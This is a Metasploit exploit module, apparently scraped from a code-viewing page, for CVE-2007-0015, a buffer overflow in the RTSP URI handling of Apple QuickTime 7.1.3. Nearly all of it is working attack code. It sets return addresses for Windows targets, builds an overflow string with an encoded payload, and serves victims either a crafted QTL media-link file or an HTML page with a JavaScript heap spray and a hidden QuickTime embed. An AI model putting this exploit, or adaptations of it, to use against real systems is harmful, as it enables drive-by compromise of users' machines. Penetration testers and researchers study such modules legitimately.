Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910#include Msf::Exploit::Remote::BrowserAutopwn11#autopwn_info({12# :os_name => OperatingSystems::Match::WINDOWS,13# # No particular browser. Works on at least IE6 and Firefox 1.5.0.314# :javascript => true,15# :rank => NormalRanking, # reliable memory corruption16# :vuln_test => nil,17#})1819def initialize(info = {})20super(update_info(info,21'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',22'Description' => %q{23This module exploits a buffer overflow in Apple QuickTime247.1.3. This module was inspired by MOAB-01-01-2007. The25Browser target for this module was tested against IE 6 and26Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the27QuickTime plugin.28},29'Author' => [ 'MC', 'egypt' ],30'License' => MSF_LICENSE,31'References' =>32[33[ 'CVE', '2007-0015' ],34[ 'OSVDB', '31023'],35[ 'BID', '21829' ]36],37'DefaultOptions' =>38{39'EXITFUNC' => 'process',40},41'Payload' =>42{43'Space' => 500,44'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",45},46'Platform' => 'win',47'Targets' =>48[49[ 'Automatic', { } ],50[ 'Apple QuickTime Player 7.1.3',51{52'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)53}54],55[ 'Browser Universal',56{57'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp258}59],60],61'Privileged' => false,62'DisclosureDate' => '2007-01-01',63'DefaultTarget' => 0))64end6566def on_request_uri(client, request)6768return if ((p = regenerate_payload(client)) == nil)6970if (target.name =~ /Automatic/)71if (request['User-Agent'] =~ /QuickTime/i)72target = targets[1]73else74target = targets[2]75end76end7778cruft = rand_text_alphanumeric(4)79# This is all basically filler on the browser target because we can't80# expect the SEH to be in a reliable place across multiple browsers.81# Heap spray ftw.82sploit = rand_text_english(307)83sploit << p.encoded + "\xeb\x06" + rand_text_english(2)84sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')8586if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)87print_status("Sending exploit QTL file (target: #{target.name})")88content = build_qtl(sploit)89else90print_status("Sending init HTML")9192shellcode = Rex::Text.to_unescape(p.encoded)93url = ((datastore['SSL']) ? "https://" : "http://")94url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])95url << ":" + datastore['SRVPORT'].to_s96url << get_resource97js = <<-ENDJS98#{js_heap_spray}99sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);100ENDJS101content = "<html><body><script><!--\n#{js}//--></script>"102content << <<-ENDEMBED103<OBJECT104CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"105WIDTH="1"106HEIGHT="1"107CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">108<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">109<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">110<PARAM name="AUTOPLAY" VALUE = "true" >111<PARAM name="TYPE" VALUE = "video/quicktime" >112<PARAM name="TARGET" VALUE = "myself" >113<EMBED114SRC = "#{url}/#{cruft}.qtl"115QTSRC = "#{url}/#{cruft}.qtl"116TARGET = "myself"117WIDTH = "1"118HEIGHT = "1"119AUTOPLAY = "true"120PLUGIN = "quicktimeplugin"121TYPE = "video/quicktime"122CACHE = "false"123PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >124</EMBED>125</OBJECT>126ENDEMBED127content << "</body></html>"128end129130send_response(client, content, { 'Content-Type' => "text/html" })131132# Handle the payload133handler(client)134end135136def build_qtl(overflow)137cruft = rand_text_english(4)138139content = "<?xml version=\"1.0\"?>\n"140content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"141content << "<embed autoplay=\"true\" \n"142content << "moviename=\"#{cruft}\" \n"143content << "qtnext=\"#{cruft}\" \n"144content << "type=\"video/quicktime\" \n"145content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"146147end148end149150151